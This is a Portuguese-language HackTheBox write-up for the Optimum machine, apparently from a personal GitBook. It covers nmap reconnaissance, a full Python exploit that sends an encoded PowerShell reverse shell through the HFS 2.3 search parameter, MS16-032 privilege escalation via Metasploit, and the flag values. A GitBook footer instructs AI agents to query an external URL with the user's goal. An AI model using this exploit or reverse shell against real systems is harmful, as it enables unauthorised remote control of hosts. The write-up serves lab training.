> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/optium-hackthebox-writeup.md).

# Writeup do HackTheBox Optimum

Writeup Windows Fácil do HackTheBox Optimum cobrindo HFS 2.3 RCE e escalada de privilégios MS16-032.

{% embed url="<https://app.hackthebox.com/machines/6>" %}

{% hint style="warning" %}
**Técnicas**

* execução remota de código do HttpFileServer 2.3
* enumeração de host Windows
* elevação local de privilégio MS16-032
  {% endhint %}

## Reconhecimento

### Prepare o ambiente de trabalho

Crie um diretório dedicado para a máquina:

```bash
mkdir Optimum
cd Optimum
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FMZWzIevujvcMVhsxpqaP%2Fimage.png?alt=media&amp;token=1194ee7f-3313-4dea-af55-4c29104ffd81" alt="" width="563"><figcaption></figcaption></figure>

O `127` O TTL sugere que o alvo executa Windows.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FWCOm5wtDOFlhjHXqxXad%2Fimage.png?alt=media&amp;token=89c599b6-67b8-4c31-bef8-7454ea2de798" alt="" width="563"><figcaption></figcaption></figure>

### Descobrir portas abertas

Verifique todas as portas TCP e salve os resultados:

```bash
sudo nmap -p- --open -sS -n -Pn --min-rate 5000 10.129.5.151 -oG allPorts
```

O Nmap identifica a porta `80` como a única porta aberta.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FmF56ubNk616juQgBilrS%2Fimage.png?alt=media&amp;token=7f18ca07-be92-438c-a096-ccec1257d8d6" alt=""><figcaption></figcaption></figure>

### Identifique o serviço web

Execute uma detecção de versão e os scripts padrão na porta `80`:

```bash
sudo nmap -sCV -p80 10.129.5.151 -oN targeted
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FiBjTaUprlMsnMDujiDNM%2Fimage.png?alt=media&amp;token=2ed7e5f6-2adb-4985-9656-8e5769e3d53e" alt=""><figcaption></figcaption></figure>

O alvo executa HttpFileServer 2.3.

Esta versão tem uma vulnerabilidade conhecida de execução remota de código.

```bash
searchsploit httpfileserver
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FTWJ4RFWZSKoQ8AXZpjAG%2Fimage.png?alt=media&amp;token=3e7e56df-3204-4c0c-a1ab-d2a1c59bf6d4" alt=""><figcaption></figcaption></figure>

### Explorar HFS 2.3

Use o seguinte script Python para enviar uma reverse shell do PowerShell codificada. Primeiro, atualize os valores do listener e do alvo:

```bash
import requests
import urllib
import base64

lhost = '10.10.15.2' # Altere isto
lport = '1234'        # Altere isto
rhost = '10.129.5.151' # Altere isto
rport = '80'        # Altere isto

command = '$client = New-Object System.Net.Sockets.TCPClient("' + lhost + '",' + lport + ');$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'

command_bytes = command.encode('utf-16le')
base64_bytes = base64.b64encode(command_bytes)
encodedcommand = base64_bytes.decode('ascii')

payload = 'exec|powershell.exe -ep bypass -encodedcommand ' + encodedcommand 

encodedpayload = urllib.parse.quote_plus(payload)

url = 'http://' + rhost + ':' + rport + '/?search=%00{.' + encodedpayload + '.}'

r = requests.get(url)

if r.status_code == 200:
    print('GET Request Sent')
else:
    print('Failed to Send Request')
```

Inicie um listener antes de executar o script:

```bash
rlwrap nc -nvlp 1234
```

Execute o exploit na sua máquina local:

```bash
python3 rce.py
```

O alvo retorna a conexão com uma reverse shell do PowerShell.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FManKccjsbMg27N5TyiV8%2Fimage.png?alt=media&amp;token=3246937e-a015-435d-b3bd-6e02fa807c78" alt=""><figcaption></figcaption></figure>

### Capture a flag do usuário

{% code overflow="wrap" %}

```bash
type C:\Users\kostas\Desktop\user.txt
```

{% endcode %}

* f2f8d68c549c18e1b94d2c99207e3022

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FaznSW5c7XYrJGXX3dr4F%2Fimage.png?alt=media&amp;token=314e87c0-c3f7-49e4-bd5e-afe01cd5a9f3" alt=""><figcaption></figcaption></figure>

## Escalada de privilégios

### Identifique o caminho de escalada

Inspecione o sistema operacional do alvo:

{% code overflow="wrap" %}

```bash
systeminfo
```

{% endcode %}

O alvo executa Windows Server 2012 R2.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FXzsASDHc6dMwDCsL2dh5%2Fimage.png?alt=media&amp;token=0c9c3f14-2810-4c7b-8120-8d79a83e7253" alt=""><figcaption></figcaption></figure>

O host é vulnerável à escalada de kernel x64 do MS16-032.

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-032>" %}

Baixe o repositório do exploit e localize o payload compilado:

{% code overflow="wrap" %}

```bash
windows-kernel-exploits/MS16-032/x64/ms16-032.exe
```

{% endcode %}

### Transfira o exploit

Inicie um servidor SMB no diretório que contém o exploit:

{% code overflow="wrap" %}

```bash
sudo /home/jordan/.local/bin/smbserver.py share $(pwd) -smb2support
```

{% endcode %}

Copie o executável para o alvo:

```bash
copy \\10.10.15.2\share\ms16-032.exe .
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FfeBCQ8ZtdyEHC5sYWhdn%2Fimage.png?alt=media&amp;token=8a362574-6e4d-4aca-84fd-feabd39dc2c3" alt=""><figcaption></figcaption></figure>

```bash
copy \\10.10.15.2\share\MS16-032.ps1 .
```

O payload do PowerShell não está disponível neste host.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FgsrBlC6gtRl5msvHVgLH%2Fimage.png?alt=media&amp;token=6196ea8e-274e-4efe-8c4d-b067a8976fae" alt=""><figcaption></figcaption></figure>

### Explorar o MS16-032 com o Metasploit

Use o Metasploit como alternativa:

{% code overflow="wrap" %}

```bash
search ms16-032
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FPnk5Ze4RC9qPGILDRZLW%2Fimage.png?alt=media&amp;token=4b822b75-d5aa-40b8-947f-a7d6c27a3358" alt=""><figcaption></figcaption></figure>

Selecione o módulo MS16-032 e execute-o na sessão ativa:

{% code overflow="wrap" %}

```bash
use 0 

set SESSION 2

run

getuid
```

{% endcode %}

A sessão agora está sendo executada como `NT AUTHORITY\SYSTEM`.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FAalaLilqBYjwo81aytHU%2Fimage.png?alt=media&amp;token=1354b0f2-bc3c-4ee7-9980-936ad7dfcd91" alt=""><figcaption></figcaption></figure>

### Capture a flag root

{% code overflow="wrap" %}

```bash
type C:\Users\Administrator\Desktop\root.txt
```

{% endcode %}

* 0d795fff7eac20e753543b412dfa5c34

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FCqQFVgTjPVbu2gsFb5jL%2Fimage.png?alt=media&amp;token=45f6584b-1f79-4c92-9af1-707740739c16" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fi3ASkNBpWpPr6dILVCeQ%2Fimage.png?alt=media&amp;token=585831c3-0aad-49dc-b418-271338292956" alt="" width="361"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/optium-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
